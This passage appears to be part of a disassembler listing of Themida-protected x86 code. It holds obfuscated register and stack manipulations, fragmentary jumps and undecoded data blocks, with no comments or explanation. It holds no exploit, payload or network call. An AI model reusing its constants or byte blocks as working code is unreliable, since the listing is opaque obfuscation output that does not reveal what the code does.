; ---------------------------------------------------------------------------


loc_55AA0F:				; CODE XREF: Themida_:00554337j
		add	bl, cl
		pop	ecx
		push	730Fh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 415C69ABh
		inc	ecx
		or	ecx, 31FC282Ch
		inc	ecx
		and	ecx, 492B5656h
		xor	ecx, 4128403Ch
		mov	ebx, ecx
		pop	ecx
		add	ebx, 22AF0F01h
		add	ebx, edi
		sub	ebx, 22AF0F01h
		push	edx
		push	ecx
		jmp	loc_55133A
; ---------------------------------------------------------------------------


loc_55AA4C:				; CODE XREF: Themida_:0055361Cj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		xor	ecx, [ebx]
		pop	ebx
		jmp	loc_558A1A
; ---------------------------------------------------------------------------
		db 68h
		dd 1B6Ah, 51241489h, 0CA88D988h, 5AD18859h, 88CC8850h
		dd 5B5958E6h, 66F03059h, 3CB7535Ah, 80A2C780h, 0CF8001C7h
		dd 0C023E9C2h, 0E95DFFFFh, 0FFFFD7ADh
; ---------------------------------------------------------------------------


loc_55AA94:				; CODE XREF: Themida_:005518FAj
		pop	edx
		pop	eax
		and	al, bl
		mov	bx, [esp]
		add	esp, 2
		push	315Fh
		mov	[esp], ebx
		jmp	loc_556C06
; ---------------------------------------------------------------------------
		dd 8B66E228h, 9EE92404h, 81FFFF79h, 0CB9C84F5h,	1C6F21ACh
		dd 0FF54AAE9h, 0E38953FFh, 4C381h, 5CE90000h, 1FFFF5Ah
		dd 81042454h, 8F042444h, 5A6FBB68h, 4C2815Ah, 81000000h
		dd 4ECh, 24348900h, 4BEh, 5EF22900h, 5C241487h,	0FF8F13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB01:				; CODE XREF: Themida_:00557972j
		pop	esp
		jmp	loc_555726
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8704C083h, 248B2404h, 16BC0524h, 5351214Fh, 0DD1BA8BBh
		dd 8F33E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB22:				; CODE XREF: Themida_:00550AD5j
		push	eax
		push	edx
		mov	edx, 24730F57h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5570B9
; ---------------------------------------------------------------------------
		dw 405h
		dd 5000000h, 4,	5C240487h, 71F7E956h, 0ED81FFFFh, 44467458h
		dd 0FFD615E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB55:				; CODE XREF: Themida_:00557204j
		push	dword ptr [edx]
		push	ebx
		mov	ebx, 4CBC7B8Bh
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		push	ecx
		push	ebp
		jmp	loc_559BC1
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 2DD8295Bh, 94F1620h,	0FF1D592Dh, 0FDE95137h,	83FFFF59h
		dd 48904ECh, 0FFBE5624h, 81415E34h, 422443E6h, 0F4C68147h
		dd 8916C80Eh, 1E95EF0h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB9F:				; CODE XREF: Themida_:00556E3Ej
		push	6AA0h
		mov	[esp], eax
		push	7C2161A5h
		pop	eax
		jmp	loc_55061F
; ---------------------------------------------------------------------------


loc_55ABB2:				; CODE XREF: Themida_:005594B4j
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		push	edx
		jmp	loc_55345B
; ---------------------------------------------------------------------------


loc_55ABE8:				; CODE XREF: Themida_:0055909Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5513A3
		push	38E7h
		mov	[esp], ecx
		mov	ecx, 0ABE4218h
		xor	ecx, 0ABE4218h
		push	ebp
		mov	ebp, ecx
		push	ebp
		sub	dword ptr [esp], 1E14053h
		pop	dword ptr [edi+20h]
		jmp	loc_55B787
; ---------------------------------------------------------------------------
		dd 51F5E95Fh, 0CD81FFFFh, 6B5A3B67h, 0FFCE89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AC29:				; CODE XREF: Themida_:00556582j
		pop	ebp
		push	ebx
		mov	ebx, 28C85E73h
		or	ebx, 132853FFh
		xor	ebx, 7A704DA8h
		sub	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		jmp	loc_551288
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 5F2D0258h, 26ABCB81h, 5055116Bh, 6F7E15B8h, 0E9C5896Ch
		dd 0FFFFDB61h, 0A43BED81h, 0EE01D912h, 0FFA0B1E9h, 242489FFh
		dd 4240481h, 8B000000h,	0C481243Ch, 4, 427C68h,	24348900h
		dd 468h, 8A57E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC92:				; CODE XREF: Themida_:005580CFj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0FFFFh
		and	eax, ecx
		jmp	loc_551241
; ---------------------------------------------------------------------------
		db 66h,	57h, 66h
		dd 3E243481h, 665D6650h, 503EF581h, 0F581665Fh,	3166131Bh
		dd 242C8BE8h, 2BDE950h,	0E94B0000h, 0FFFF75EFh
; ---------------------------------------------------------------------------


loc_55ACCC:				; CODE XREF: Themida_:005559D1j
		add	esp, 4
		push	1FCFh
		mov	[esp], ebp
		mov	ebp, 4E81403Fh
		jmp	loc_557B3C
; ---------------------------------------------------------------------------
		dd 20D5C681h, 0DE017A62h, 0FFF27AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ACF1:				; CODE XREF: Themida_:005574DBj
		pop	ecx
		jmp	loc_553845
; ---------------------------------------------------------------------------
		db 81h
		dd 3D0222C7h, 5FF8014Eh, 0FFD19FE9h, 0DF3B8FFh,	40E90BC6h
		dd 68FFFF7Ah, 2241h, 0BB241C89h, 104F5DBCh, 0C104EBC1h
		dd 0B95104E3h, 46831B4Fh, 0C981D9F7h, 1AD0898h,	335E181h
		dd 0E9816157h, 22D71BEBh, 3383C181h, 0CB29C758h, 0DCE38159h
		dd 687D4452h, 7759h, 0BD242C89h, 0B7BFBF40h, 37AE9h, 4E98100h
		dd 33000000h, 0C31240Ch, 240C3324h, 0FFCB69E9h,	738068FFh
		dd 5E90000h, 5BFFFFB6h,	0FF770DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD81:				; CODE XREF: Themida_:00551DDAj
		sub	[esp], ebx
		mov	ebx, [esp]
		jmp	loc_55685C
; ---------------------------------------------------------------------------
		dd 0E689565Bh, 2A02B951h, 0D9F75094h, 0FFE581E9h, 506866FFh
		dd 1C896612h, 0AAE95024h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADAB:				; CODE XREF: Themida_:0055B547j
		xor	esi, 41B55F3Ah
		sub	esi, 68EC181Ch
		jmp	loc_55B69C
; ---------------------------------------------------------------------------
		dd 1B4AA6BBh, 5BD8897Ch, 0FFF2ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ADC9:				; CODE XREF: Themida_:00551055j
		mov	ebp, 0C41352Eh
		xor	ebx, ebp
		pop	ebp
		mov	edi, ebx
		pop	ebx
		neg	edi
		add	edi, 1
		push	ecx
		mov	ecx, 7E811537h
		xor	ecx, 1916A71h
		shl	ecx, 4
		sub	ecx, 0C35EC6CEh
		xor	edi, ecx
		pop	ecx
		add	ecx, edi
		pop	edi
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_55AE05:				; CODE XREF: Themida_:0055B315j
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5549D8
; ---------------------------------------------------------------------------
byte_55AE1F	db 0FFh			; DATA XREF: Themida_:0054FD1Co
		dd 34FF2434h, 0F2E95924h
		db 0D0h, 2 dup(0FFh)
byte_55AE2B	db 66h			; DATA XREF: Themida_:0054FBA0o
		dd 0E924048Bh, 0FFFF7F69h, 0DFE95659h, 68FFFF56h, 744Ah
		dd 89240C89h, 4C181E1h,	0E9000000h, 0FFFFFF0Dh,	5E2434FFh
		dd 4C481h, 0EA010000h, 2414875Dh, 240CFE5Ch, 4FA9E99Ch
		dd 0EB30FFFFh, 0DEB05066h, 5866C308h, 80B05051h, 0F5E9C188h
		dd 33FFFF75h, 68E9241Ch, 8BFFFF7Dh, 0F662424h, 9C2404ABh
		dd 0FFAE79E9h
		db 0FFh
byte_55AE95	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FBC0o
		dd 1858669Dh, 0E99C2404h, 0FFFF4F6Fh
; ---------------------------------------------------------------------------


loc_55AEA4:				; CODE XREF: Themida_:00553DA2j
		mov	eax, [esp]
		jmp	loc_55826C
; ---------------------------------------------------------------------------
dword_55AEAC	dd 240C8B66h, 183A68h, 243C8900h, 3CB668h, 24248900h, 4240483h
					; DATA XREF: Themida_:0054FC24o
		dd 0FFCC56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AEC9:				; CODE XREF: Themida_:0055628Ej
		add	edx, 4
		sub	edx, 4
		jmp	loc_550D80
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BD8h, 4EC81h, 2C890000h, 0E9E58924h, 0FFFFDAA4h
		dd 0CDFED5F6h, 83EED80h, 240C8BEAh, 8004C483h, 0D00089C2h
		dd 8324148Bh, 0F9E904C4h, 68FFFF6Dh, 685C0833h,	33EA815Ah
		dd 0E9685C08h, 0FFFF7357h, 0D237E95Bh, 0FF51FFFFh, 59042474h
		dd 8B24048Fh, 4302424h,	0DCE99C24h, 89FFFF4Eh, 0F5E958C1h
		dd 1FFFFDDh, 0D6C781CFh, 8137271Ch, 957F19EFh, 0FA46E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF52:				; CODE XREF: Themida_:00552F63j
		pop	ecx
		pop	ebx
		jmp	loc_551E8D
; ---------------------------------------------------------------------------
aIIS?		db '┬з┬тИ?',0
		dd 0E9490000h, 0FFFFE815h, 0D106E3C1h, 0DDA5E9EBh, 0BA52FFFFh
		dd 16154D31h, 4CB8B850h, 3E93B8Bh, 54000007h, 40558h, 83550000h
		dd 3C8904ECh, 7D56BF24h, 27E95B93h, 59FFFF8Bh, 0FFE503E9h
		dd 0E95B5AFFh, 0FFFF8BC9h, 0C767F581h, 5F55705Eh, 0FFD516E9h
		db 0FFh
byte_55AFB5	db 0ADh, 81h, 0ECh	; DATA XREF: Themida_:0054FC5Co
		dd 4, 68242C89h, 6AE3h,	51241C89h, 44DFBB53h, 4EE9051Ah
		dd 1FFFF66h, 0B72DE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFDA:				; CODE XREF: Themida_:00554061j
		mov	ebp, 0B306D1Fh
		shl	ebp, 1
		add	ebp, 61C357A6h
		xor	ebp, 6ACE5E2Bh
		xor	ebp, 6ACA212Eh
		jmp	loc_55B58E
; ---------------------------------------------------------------------------
		dd 3540D0F7h, 4A30B4Dh,	0E904E8C1h, 0FFFF82E0h
dword_55B008	dd 24048B66h, 34FF5450h, 3DE95824h, 0C100000Ah,	895206E7h
					; DATA XREF: Themida_:0054FC0Co
		dd 4C281E2h, 0E9000000h, 0FFFF6291h, 8859CC88h,	2434FFE7h
		dd 8124048Bh, 4C4h, 4C48100h, 30000000h, 5DB7E9F8h, 0BF57FFFFh
		dd 606462A4h, 3C8BFB21h, 0C872E924h
		db 2 dup(0FFh)
word_55B056	dw 8B66h		; DATA XREF: Themida_:0054FC84o
		dd 0C3682404h, 89000001h, 0ED682404h, 54000028h, 6824048Fh
		dd 741Fh, 0BE243489h, 179F15D2h, 4064BD55h, 0EE214BC8h
		dd 81242C8Bh, 4C4h, 0D32FE900h,	525AFFFFh, 0FF7B12E9h
		db 0FFh
byte_55B095	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FD9Co
		dd 8324048Bh, 176804C4h, 89000029h, 0E789243Ch,	0FF5B5DE9h
		dd 0E6DBEFFh, 0C68312FEh, 81DEF701h, 9146D5E6h,	4EDEF726h
		dd 0DCCF681h, 0F1014326h, 0FFF3F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B0CD:				; CODE XREF: Themida_:005574F1j
		mov	edx, 6F0A7811h
		jmp	loc_554D4B
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEBh, 104C483h,	0C2815BDAh, 4, 5C241487h, 65E9C80Fh
		dd 81FFFFE9h, 4C5h, 0B9515600h,	54D11804h, 0E902E1C1h
		dd 4C3h, 8124048Bh, 4C4h, 24048F00h, 0E924248Bh, 0FFFFD173h
; ---------------------------------------------------------------------------


loc_55B11C:				; CODE XREF: Themida_:005529CFj
		mov	ecx, edx
		pop	edx
		add	ebp, ecx
		pop	ecx
		jmp	loc_55B162
; ---------------------------------------------------------------------------
		db 81h
		dd 0F74004C6h, 0F089506Ah, 0FFFE02E9h, 0DC780FFh, 0EF80CF28h
		dd 0C6E9590Dh
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B143:				; CODE XREF: Themida_:005504D2j
		mov	[esp], edi
		mov	edi, 722C04FEh
		push	eax
		push	ebx
		mov	ebx, 0B21B73E6h
		mov	eax, ebx
		pop	ebx
		sub	edi, 3A700927h
		add	edi, eax
		jmp	loc_55BBBB
; ---------------------------------------------------------------------------


loc_55B162:				; CODE XREF: Themida_:0055B122j
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		db 59h
		dd 5602C683h, 0FF4E7CE9h, 5BDE29FFh, 8904EC83h,	0E950240Ch
		dd 0
		dd 0E0293AB8h, 28620D6Ah, 0E0C137ACh, 816A3507h, 0C189A1AFh
		dd 0E9554158h, 0FFFFA7DEh, 0E904C483h, 0FFFF73D9h, 0F9E95350h
		dd 55FFFFFBh, 0FFF26AE9h, 895358FFh, 4C381E3h, 55000000h
		dd 13BD5557h, 0D131F427h, 0C1D5F7E5h, 0D0E902E5h, 89FFFFF7h
		dd 0F2895FFEh, 6E2C15Eh, 654E281h, 0D6E936B4h, 33FFFFE4h
		dd 835C243Ch, 2C8904ECh, 78CBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B20A:				; CODE XREF: Themida_:00550561j
		mov	[esp], eax
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_55B212:				; CODE XREF: Themida_:00551123j
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5580C8
; ---------------------------------------------------------------------------
		dw 0F0E9h
		dd 29FFFF4Bh, 8054E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B22A:				; CODE XREF: Themida_:00559573j
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 49405876h
		jmp	loc_5591E2
; ---------------------------------------------------------------------------


loc_55B239:				; CODE XREF: Themida_:00550C52j
		add	edi, esi
		pop	esi
		jmp	loc_5585A4
; ---------------------------------------------------------------------------


loc_55B241:				; CODE XREF: Themida_:005527BBj
		add	esp, 4
		push	edi
		mov	edi, 36E47E56h
		jmp	loc_553BB9
; ---------------------------------------------------------------------------


loc_55B252:				; CODE XREF: Themida_:005517EFj
		sub	ebp, 760E6919h
		xor	ebp, 1B393D2Bh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_559516
; ---------------------------------------------------------------------------


loc_55B266:				; CODE XREF: Themida_:005500D4j
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_551FA6
; ---------------------------------------------------------------------------
		dd 0E903EDC0h, 0FFFF670Fh
; ---------------------------------------------------------------------------


loc_55B27C:				; CODE XREF: Themida_:00559FD8j
		add	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		add	dl, bh
		pop	ebx
		add	dl, 0FFh
		shr	dl, 8
		xor	dl, 8Bh
		add	bl, dl
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	18F4h
		mov	[esp], eax
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_55B2A6:				; CODE XREF: Themida_:005566EDj
		add	dword ptr [esp], 63433162h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5541CE
; ---------------------------------------------------------------------------
		dw 0C689h
		dd 8BF20158h, 0C4812434h, 4, 75E9D031h,	68000000h, 4, 0FFA11FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B2DD:				; CODE XREF: Themida_:00556361j
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55B342
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 3D627F9Dh
		jmp	loc_54FE9C
; ---------------------------------------------------------------------------


loc_55B312:				; CODE XREF: Themida_:00551C3Ej
					; Themida_:00558E58j
		push	ecx
		mov	ecx, esp
		jmp	loc_55AE05
; ---------------------------------------------------------------------------


loc_55B31A:				; CODE XREF: Themida_:00556CEFj
		add	edi, eax
		jmp	loc_554F05
; ---------------------------------------------------------------------------


loc_55B321:				; CODE XREF: Themida_:005557EBj
		add	edx, 0BAA0A734h
		jmp	loc_55BB8E
; ---------------------------------------------------------------------------
		dd 50B7E95Dh, 0CE2CFFFFh, 0CE04C828h, 752968h, 0E540E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B342:				; CODE XREF: Themida_:00555EEEj
					; Themida_:0055B2FDj
		push	ebx
		jmp	loc_553B0B
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0C33104C4h, 24148B66h, 34F468h, 242C8900h
		dd 4EC81h, 8F540000h, 0BB532404h, 4, 4244481h, 481D20EBh
		dd 4245C01h, 0FF96C6E9h, 904ABFFFh, 0FB31114Bh,	5BDD315Fh
		dd 0E95DEE29h, 0FFFF814Bh, 81241C8Bh, 4C4h, 0FFFE0100h
		dd 835F2434h, 0CCE904C4h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B3A7:				; CODE XREF: Themida_:005506CDj
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	24A0h
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 37123745h
		shl	esi, 4
		push	ecx
		mov	ecx, 0
		sub	ecx, esi
		mov	esi, ecx
		pop	ecx
		sub	esi, 2F3C5717h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, ecx
		jmp	loc_55034E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 9E99E900h, 5758FFFFh, 3692BE56h, 0E1E958B0h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B417:				; CODE XREF: Themida_:005594D9j
		xor	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 75DF1BBCh
		jmp	loc_550335
; ---------------------------------------------------------------------------


loc_55B426:				; CODE XREF: Themida_:00552D7Aj
		add	ebp, 379E07F3h
		add	eax, ebp
		jmp	loc_5549B8
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 24448100h, 0E4788804h,	2454010Fh, 0ACFCE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B44A:				; CODE XREF: Themida_:0055637Bj
		mov	eax, 3FE148DFh
		sub	esi, eax
		pop	eax
		neg	esi
		push	edx
		mov	edx, 61291136h
		shr	edx, 6
		neg	edx
		or	edx, 24F2511Ah
		shr	edx, 5
		xor	edx, 1B9FF789h
		xor	esi, edx
		pop	edx
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, esi
		jmp	loc_55A0EB
; ---------------------------------------------------------------------------
		dd 0E8E57335h, 895553FFh, 0E9EB89C5h, 0FFFFF5FEh, 0C82C5B5Ah
		dd 3A6B6859h, 1C890000h, 0A358E924h, 0D701FFFFh, 7CE3E95Ah
		dd 0E981FFFFh, 0F69C3ECBh, 159C829h, 3EBB05D8h,	0EC811F43h
		dd 4, 53242C89h, 0FE4C6ABBh, 0DA895264h, 8B5AD589h, 0C483241Ch
		dd 638DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B4DA:				; CODE XREF: Themida_:00553B98j
		add	eax, ebx
		jmp	loc_55BD38
; ---------------------------------------------------------------------------
		db 1, 0CAh, 0E9h
		dd 0FFFF65FBh
; ---------------------------------------------------------------------------


loc_55B4E8:				; CODE XREF: Themida_:00550874j
		or	eax, ecx
		pop	ecx
		xor	eax, 664B6C4Eh
		sub	esp, 4
		jmp	loc_555896
; ---------------------------------------------------------------------------
		dd 5E5FCE81h, 8CE90BC3h, 0D1FFFF90h, 0B17E05E8h, 0ED8184AEh
		dd 45DF634Ah, 0FF7B09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B515:				; CODE XREF: Themida_:005563BCj
		push	7FF16832h
		jmp	loc_5580B2
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BE9h, 5104C483h, 42474FFh, 24048F59h, 0FF65FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B535:				; CODE XREF: Themida_:00556923j
		mov	[esp], ecx
		push	eax
		mov	eax, 43006BA4h
		push	edi
		push	ebp
		push	esi
		mov	esi, 2DC444D6h
		inc	esi
		jmp	loc_55ADAB
; ---------------------------------------------------------------------------


loc_55B54C:				; CODE XREF: Themida_:005592C3j
		sub	ebx, 1C4B2940h
		add	ebx, 21BC7ED4h
		jmp	loc_550414
; ---------------------------------------------------------------------------


loc_55B55D:				; CODE XREF: Themida_:00553522j
		neg	edx
		shr	edx, 6
		jmp	loc_5544D5
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 0FFAE8DE9h
		db 0FFh
byte_55B575	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FB40o
		dd 0E92434FFh, 0FFFFAD13h, 8104C483h, 0B43CEDC2h, 0DDAFE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B58E:				; CODE XREF: Themida_:0055AFF3j
		shl	ebp, 4
		sub	ebp, 6A818C6h
		jmp	loc_5599B7
; ---------------------------------------------------------------------------
		dd offset loc_41E466+2
		dd 241C8900h, 0FFF892E9h, 2548BDFFh, 0EA895354h, 0D859E95Dh
		dd 0C483FFFFh, 0FC33004h, 0BCE9C0B6h, 83FFFFE3h, 58E904C4h
		dd 56FFFFCDh, 283C65BEh, 0F6814E0Fh, 79AD4BDAh,	0E95EF129h
		dd 0FFFFDDD6h, 4C28159h, 87000000h, 0E95C2414h,	0FFFFB43Ch
		dd 0EA81FA01h, 605543F1h, 0FF52DCE9h, 4C481FFh,	55000000h
		dd 268h, 0C6815D00h, 720E5787h,	0EE81EE01h, 720E5787h
		dd 0FF94F3E9h, 0B5E950FFh, 0BDFFFF91h, 1FF01C55h, 0D5396C05h
		dd 51E8290Eh, 0A32B39B9h, 0B5E98138h, 816EB864h, 75732DE1h
		dd 1C18376h, 0F767C181h, 0C829CE74h, 4E29E959h,	0C581FFFFh
		dd 60637D05h, 0FFC2EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B65D:				; CODE XREF: Themida_:00553528j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_558981
; ---------------------------------------------------------------------------
		dw 0F835h
		dd 557926Bh, 7B7C09C7h,	0F705E8C1h, 0E9D0F7D0h,	0FFFFB8A0h
; ---------------------------------------------------------------------------


loc_55B69C:				; CODE XREF: Themida_:0055ADB7j
		mov	ebp, esi
		pop	esi
		sub	ebp, 8FABBBE1h
		mov	edi, ebp
		pop	ebp
		jmp	loc_557D65
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0A7h
		dd 0E9067306h, 0FFFFCFB9h
; ---------------------------------------------------------------------------


loc_55B6B8:				; CODE XREF: Themida_:00553C8Ej
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4C75D99h
		neg	edx
		xor	edx, 0FB38A263h
		sub	ebp, 2790478Eh
		add	ebp, edx
		add	ebp, 2790478Eh
		jmp	loc_550E8D
; ---------------------------------------------------------------------------
		dd 24048F5Fh, 4C4835Ch,	5553C331h, 49543168h, 0CD815D27h
		dd 4EB74BB5h, 0FF711DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B701:				; CODE XREF: Themida_:0055BA0Cj
		sub	al, dl
		jmp	loc_55913B
; ---------------------------------------------------------------------------


loc_55B708:				; CODE XREF: Themida_:00552DA7j
		push	esp
		jmp	loc_55BC2F
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4DC506BAh, 0FF47ACE9h, 0BA525DFFh, 7AEB022Fh, 0CA81DAF7h
		dd 14A62AB9h, 0A6E7EA81h, 6FE95BDEh, 0F6FFFFFDh, 2BEE80D6h
		dd 51E9F028h, 0F7FFFFFDh, 0A7E781D7h, 0E952C520h, 0FFFFA1D0h
		dd 0E2EA8158h, 51199650h, 853686B9h, 0C1814100h, 3A990270h
		dd 393F181h, 86682A53h,	8900007Bh, 0A168243Ch, 0E9357B5Fh
		dd 0FFFFD763h, 8E06FEBBh, 7FEA6864h, 55E90000h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B787:				; CODE XREF: Themida_:0055AC13j
		add	dword ptr [edi+20h], 1E14053h
		jmp	loc_55596C
; ---------------------------------------------------------------------------
		db 80h
		dd 0E58097C5h, 0D0F58013h, 0D1E9E800h
		db 72h,	2 dup(0FFh)
byte_55B7A3	db 0ACh			; DATA XREF: Themida_:0054FC48o
		dd 0C0C5B753h, 535104E7h, 0E95243B7h, 0FFFFAF0Eh, 0F24248Bh
		dd 0CBE9C8B7h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7BF:				; CODE XREF: Themida_:0055BA4Fj
		mov	[esp], edx
		jmp	loc_5569CE
; ---------------------------------------------------------------------------


loc_55B7C7:				; CODE XREF: Themida_:00555440j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], ecx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_557409
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 0B951E289h, 4, 43E9CA01h
		db 81h,	2 dup(0FFh)
byte_55B7F7	db 0FFh			; DATA XREF: Themida_:0054FB74o
		dd 669D1C77h, 2414D359h, 4BB0E99Ch, 0C0B4FFFFh,	5866E300h
		dd 3FCBB53h, 0DF010000h, 8B2434FFh, 0EC81241Ch,	4, 89242C89h
		dd 8ABA52E5h, 81415312h, 0B62B8ECAh, 0D785E924h, 0D8E9FFFFh
		dd 5FFFF45h, 560F7845h,	4EC81h,	3C890000h, 0C30EE924h
		dd 1489FFFFh, 3DB45024h, 68D4F6h, 28000000h, 248A2424h
		dd 4C48324h, 885CEC80h,	4721E9E2h, 8166FFFFh, 6614DFCFh
		dd 6DCEEF81h, 0FFF428E9h, 62E955FFh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B883:				; CODE XREF: Themida_:005502CFj
		pop	edx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_55A8C5
; ---------------------------------------------------------------------------
word_55B892	dw 8B66h		; DATA XREF: Themida_:0054FB44o
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_551C54
; ---------------------------------------------------------------------------
		dw 405h
		dd 51000000h, 4B9h, 59C80100h, 8B240487h, 0F1682424h, 89000008h
		dd 0EC81240Ch, 4, 0BF243C89h, 4BF80902h, 0FFF73EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B8D9:				; CODE XREF: Themida_:0055504Aj
		mov	edx, esp
		add	edx, 4
		jmp	loc_55A01D
; ---------------------------------------------------------------------------
		dw 483h
		dd 18E90424h, 0BEFFFF93h, 0D5C7D96h, 0A2EAE946h, 0E959FFFFh
		dd 0FFFFD690h, 0DCE9E689h, 89FFFFA1h, 0F228E9E0h, 0EF81FFFFh
		dd 528C15C1h, 8C7815Ah,	8105EFB9h, 297C4FC5h, 81FD0108h
		dd 297C4FEDh, 0C5835F08h, 242C8702h, 0E1F7665Ch, 0FF8B7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B939:				; CODE XREF: Themida_:005572D1j
		mov	ebp, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55A2A5
; ---------------------------------------------------------------------------
		dw 0BCE9h
		dd 80FFFF44h, 0DA0071EBh, 80CAFE5Bh, 0D50077F2h, 9E95A5Ah
		dd 8BFFFFF9h, 8E92404h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B973:				; CODE XREF: Themida_:00554C56j
		xor	edi, 6D77ABh
		jmp	loc_551228
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF60F3h
